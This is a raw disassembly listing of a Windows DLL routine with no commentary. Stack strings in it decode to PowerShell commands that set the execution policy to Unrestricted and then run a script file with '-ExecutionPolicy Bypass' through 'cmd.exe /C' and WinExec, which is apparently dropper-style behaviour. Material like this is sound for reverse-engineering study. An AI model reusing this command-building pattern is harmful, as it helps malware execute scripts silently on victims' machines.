mov dword [ebp - 0x320], 0
mov dword [ebp - 0x31c], 0xf
mov byte [ebp - 0x330], 0
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x1000fce5
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fcdb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x1000fd38
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fd2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
cmp dword [ebp - 0x364], 0xf
lea edx, [ebp - 0x378]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
cmova edx, dword [ebp - 0x378]
mov ecx, edx
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000fd66
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.10005380
lea edx, [ebp - 0x288]
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x40]
call fcn.1000e7e0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x1000fdc3
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fdb9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f6
push ecx
push edx
call fcn.10154c15
add esp, 8
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf0], 0x65776f70
push ecx
lea eax, [ebp - 0xa7]
mov dword [ebp - 0xec], 0x65687372
push eax
push ecx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0xe8], 0x2d206c6c
mov dword [ebp - 0xe4], 0x6d6d6f43
mov dword [ebp - 0xe0], 0x20646e61
mov dword [ebp - 0xdc], 0x74655322
mov dword [ebp - 0xd8], 0x6578452d
mov dword [ebp - 0xd4], 0x69747563
mov dword [ebp - 0xd0], 0x6f506e6f
mov dword [ebp - 0xcc], 0x7963696c
mov dword [ebp - 0xc8], 0x726e5520
mov dword [ebp - 0xc4], 0x72747365
mov dword [ebp - 0xc0], 0x65746369
mov dword [ebp - 0xbc], 0x532d2064
mov dword [ebp - 0xb8], 0x65706f63
mov dword [ebp - 0xb4], 0x72754320
mov dword [ebp - 0xb0], 0x746e6572
mov dword [ebp - 0xac], 0x72657355
mov byte [ebp - 0xa8], 0x22
call fcn.10010c80
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x408]
call fcn.1000e900
mov esi, eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x38
push ecx
lea eax, [ebp - 0x41]
mov dword [ebp - 0x4c], 0x2e646d63
push eax
push ecx
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x48], 0x20657865
mov word [ebp - 0x44], 0x432f
mov byte [ebp - 0x42], 0x20
call fcn.10010c80
lea edx, [ebp - 0x64]
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x318]
call fcn.1000e900
push esi
mov edx, eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x420]
call fcn.10010e90
add esp, 4
lea ecx, [ebp - 0x318]
call fcn.10003880
lea ecx, [ebp - 0x64]
call fcn.10006cf0
lea ecx, [ebp - 0x408]
call fcn.10003880
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3f
call fcn.10006cf0
push 0
lea ecx, [ebp - 0x420]
call fcn.10003780
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
push eax
call edi
mov dword [ebp - 0xa0], 0x65776f70
mov dword [ebp - 0x9c], 0x65687372
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x98], 0x2d206c6c
push ecx
lea eax, [ebp - 0x77]
mov dword [ebp - 0x94], 0x63657845
push eax
push ecx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x90], 0x6f697475
mov dword [ebp - 0x8c], 0x6c6f506e
mov dword [ebp - 0x88], 0x20796369
mov dword [ebp - 0x84], 0x61707942
mov dword [ebp - 0x80], 0x2d207373
mov dword [ebp - 0x7c], 0x656c6946
mov byte [ebp - 0x78], 0x20
call fcn.10010c80
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x3f0]
call fcn.1000e900
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x42
call fcn.10006cf0
lea ecx, [ebp - 0x378]
call fcn.10003780
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0x2e646d63
push ecx
mov esi, eax
mov dword [ebp - 0x24], 0x20657865
lea eax, [ebp - 0x1d]
mov word [ebp - 0x20], 0x432f
push eax
push ecx
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x1e], 0x20
call fcn.10010c80
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x330]
call fcn.1000e900
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 4], 0x44
push ecx
mov edx, eax
lea ecx, [ebp - 0x258]
call fcn.10010eb0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x408]
call fcn.1000a430
add esp, 4
lea ecx, [ebp - 0x3f0]
push eax
call fcn.10004d20
lea ecx, [ebp - 0x408]
call fcn.10003880
lea ecx, [ebp - 0x258]
call fcn.10003880
lea ecx, [ebp - 0x330]
call fcn.10003880
lea ecx, [ebp - 0x34]
call fcn.10006cf0
push 0
lea ecx, [ebp - 0x3f0]
call fcn.10003780
push eax
call edi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x270]
call fcn.10003780
mov ecx, eax
call fcn.1000e9e0
lea ecx, [ebp - 0x378]
call fcn.10003780
mov ecx, eax
call fcn.1000e9e0
lea ecx, [ebp - 0x3f0]
call fcn.10003880
lea ecx, [ebp - 0x420]
call fcn.10003880
lea ecx, [ebp - 0x378]
call fcn.10003880
lea ecx, [ebp - 0x288]
call fcn.10003880
lea ecx, [ebp - 0x270]
call fcn.10003880
lea ecx, [ebp - 0x438]
call fcn.10003880
lea ecx, [ebp - 0x450]
call fcn.10003880
lea ecx, [ebp - 0x228]
call fcn.10003880
mov ecx, dword [ebp - 0x2a4]
cmp ecx, 0xf
jbe 0x1001015a
mov edx, dword [ebp - 0x2b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10010150
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103fb
push ecx
push edx
call fcn.10154c15
add esp, 8
mov ecx, dword [ebp - 0x2bc]
cmp ecx, 0xf
jbe 0x10010194
mov edx, dword [ebp - 0x2d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001018a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103fb
push ecx
push edx
call fcn.10154c15
add esp, 8
mov ecx, dword [ebp - 0x2d4]
cmp ecx, 0xf
jbe 0x100101ce
mov edx, dword [ebp - 0x2e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100101c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103fb
push ecx
push edx
call fcn.10154c15
add esp, 8
mov ecx, dword [ebp - 0x2ec]
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0xf
mov byte [ebp - 0x2e8], 0
cmp ecx, 0xf
jbe 0x10010223
mov edx, dword [ebp - 0x300]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10010219
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103fb
push ecx
push edx
call fcn.10154c15
add esp, 8
mov ecx, dword [ebp - 0x204]
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2ec], 0xf
mov byte [ebp - 0x300], 0
test ecx, ecx
je 0x10010278
mov edx, dword [ebp - 0x1fc]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1001026e
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103fb
push edx
push ecx
call fcn.10154c15
add esp, 8
mov ecx, dword [ebp - 0x210]
test ecx, ecx
je 0x100102b2
mov edx, dword [ebp - 0x208]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x100102a8
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103fb
push edx
push ecx
call fcn.10154c15
add esp, 8
mov ecx, dword [ebp - 0x34c]
cmp ecx, 0xf
jbe 0x100102ec
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100102e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103fb
push ecx
push edx
call fcn.10154c15
add esp, 8
mov ecx, dword [ebp - 0x334]
cmp ecx, 0xf
jbe 0x10010390
mov edx, dword [ebp - 0x348]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10010320
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103fb
push ecx
push edx
call fcn.10154c15
add esp, 8
jmp 0x10010390
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100063f0
call fcn.100063f0
call fcn.1015ff88
call fcn.1015ff88
call fcn.100063f0
call fcn.1015ff88
call fcn.100063f0
call fcn.1015ff88
call fcn.1015ff88
call fcn.100063f0
call fcn.1015ff88
call fcn.100063f0
call fcn.1015ff88
call fcn.10002570
call fcn.100024d0
call fcn.1015ff88
call fcn.1015ff88
call fcn.1015ff88
int3